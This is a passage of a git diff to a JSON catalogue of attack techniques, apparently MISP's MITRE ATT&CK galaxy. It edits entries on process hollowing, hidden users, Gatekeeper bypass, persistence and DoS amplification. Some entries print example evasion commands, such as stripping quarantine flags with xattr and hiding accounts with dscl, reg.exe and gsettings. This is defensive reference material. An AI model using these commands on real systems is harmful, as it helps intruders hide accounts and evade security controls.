order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", "meta": { "external_id": "T1491.002", "kill_chain": [ @@ -19101,9 +17147,7 @@ "refs": [ "http://www.autosectools.com/process-hollowing.pdf", "https://attack.mitre.org/techniques/T1055/012", - "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" ] }, "related": [ @@ -19116,7 +17160,7 @@ "value": "Process Hollowing - T1055.012" }, { - "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)", + "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)", "meta": { "external_id": "T1562.010", "kill_chain": [ @@ -19134,8 +17178,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1562/010", - "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/", - "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique", "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/" @@ -19188,8 +17230,7 @@ "Azure AD", "Office 365", "IaaS", - "Google Workspace", - "SaaS" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1136/003", @@ -19209,30 +17250,6 @@ "uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", "value": "Cloud Account - T1136.003" }, - { - "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nHardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices. ", - "meta": { - "external_id": "T1633.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1633/001" - ] - }, - "related": [ - { - "dest-uuid": "27d18e87-8f32-4be1-b456-39b90454360f", - "type": "subtechnique-of" - } - ], - "uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "value": "System Checks - T1633.001" - }, { "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "meta": { @@ -19304,31 +17321,6 @@ "uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "value": "Launch Agent - T1543.001" }, - { - "description": "Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server. \n\nWeb protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect. ", - "meta": { - "external_id": "APP-29", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1437/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" - ] - }, - "related": [ - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "type": "subtechnique-of" - } - ], - "uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "value": "Web Protocols - T1437.001" - }, { "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)", "meta": { @@ -19435,34 +17427,6 @@ "uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", "value": "SSH Hijacking - T1563.001" }, - { - "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. \n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE) ", - "meta": { - "external_id": "T1635.001", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1635/001", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/", - "https://developer.android.com/training/app-links/index.html", - "https://tools.ietf.org/html/rfc7636", - "https://tools.ietf.org/html/rfc8252" - ] - }, - "related": [ - { - "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", - "type": "subtechnique-of" - } - ], - "uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", - "value": "URI Hijacking - T1635.001" - }, { "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "meta": { @@ -19550,32 +17514,7 @@ "value": "Social Media - T1593.001" }, { - "description": "Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Calendar Entries](https://attack.mitre.org/techniques/T1636/001) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "value": "Calendar Entries - T1636.001" - }, - { - "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { "external_id": "T1055.014", "kill_chain": [ @@ -19620,7 +17559,6 @@ "mitre_data_sources": [ "Command: Command Execution", "Module: Module Load", - "Process: OS API Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification" ], @@ -19645,7 +17583,7 @@ "value": "AppInit DLLs - T1546.010" }, { - "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "meta": { "external_id": "T1547.010", "kill_chain": [ @@ -19811,8 +17749,7 @@ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ - "Snapshot: Snapshot Creation", - "Snapshot: Snapshot Metadata" + "Snapshot: Snapshot Creation" ], "mitre_platforms": [ "IaaS" @@ -19878,9 +17815,7 @@ "Process: OS API Execution" ], "mitre_platforms": [ - "Windows", - "Linux", - "macOS" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1542/002", @@ -19897,57 +17832,6 @@ "uuid": "791481f8-e96a-41be-b089-a088763083d4", "value": "Component Firmware - T1542.002" }, - { - "description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.", - "meta": { - "external_id": "T1628.002", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1628/002" - ] - }, - "related": [ - { - "dest-uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", - "type": "subtechnique-of" - } - ], - "uuid": "24a77e53-0751-46fc-b207-99378fb35c08", - "value": "User Evasion - T1628.002" - }, - { - "description": "An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.(Citation: Android resetPassword)", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629/002", - "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html", - "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", - "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/", - "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" - ] - }, - "related": [ - { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "type": "subtechnique-of" - } - ], - "uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", - "value": "Device Lockout - T1629.002" - }, { "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "meta": { @@ -19987,7 +17871,7 @@ "value": "Systemd Service - T1543.002" }, { - "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "meta": { "external_id": "T1552.003", "kill_chain": [ @@ -20159,31 +18043,6 @@ "uuid": "6e561441-8431-4773-a9b8-ccf28ef6a968", "value": "Search Engines - T1593.002" }, - { - "description": "Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Call Log](https://attack.mitre.org/techniques/T1636/002) without the user’s knowledge or approval. ", - "meta": { - "external_id": "APP-13", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1636/002", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ] - }, - "related": [ - { - "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", - "type": "subtechnique-of" - } - ], - "uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "value": "Call Log - T1636.002" - }, { "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", "meta": { @@ -20252,7 +18111,7 @@ "value": "Private Keys - T1552.004" }, { - "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", + "description": "Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\n\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\n\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)", "meta": { "external_id": "T1564.002", "kill_chain": [ @@ -20268,14 +18127,11 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://attack.mitre.org/techniques/T1564/002", - "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", - "https://support.apple.com/en-us/HT203998", - "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "https://www.us-cert.gov/ncas/alerts/TA18-074A" ] @@ -20290,7 +18146,7 @@ "value": "Hidden Users - T1564.002" }, { - "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", + "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", "meta": { "external_id": "T1547.002", "kill_chain": [ @@ -20322,7 +18178,7 @@ "value": "Authentication Package - T1547.002" }, { - "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", + "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "meta": { "external_id": "T1584.002", "kill_chain": [ @@ -20339,7 +18195,6 @@ "https://attack.mitre.org/techniques/T1584/002", "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html", "https://blogs.cisco.com/security/talos/angler-domain-shadowing", - "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/", "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows" ] @@ -20382,7 +18237,7 @@ "value": "Client Configurations - T1592.004" }, { - "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "description": "Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", "meta": { "external_id": "CAPEC-490", "kill_chain": [ @@ -20423,7 +18278,7 @@ "value": "Reflection Amplification - T1498.002" }, { - "description": "An adversary may obtain root access (allowing them to read securityd’s memory), then they 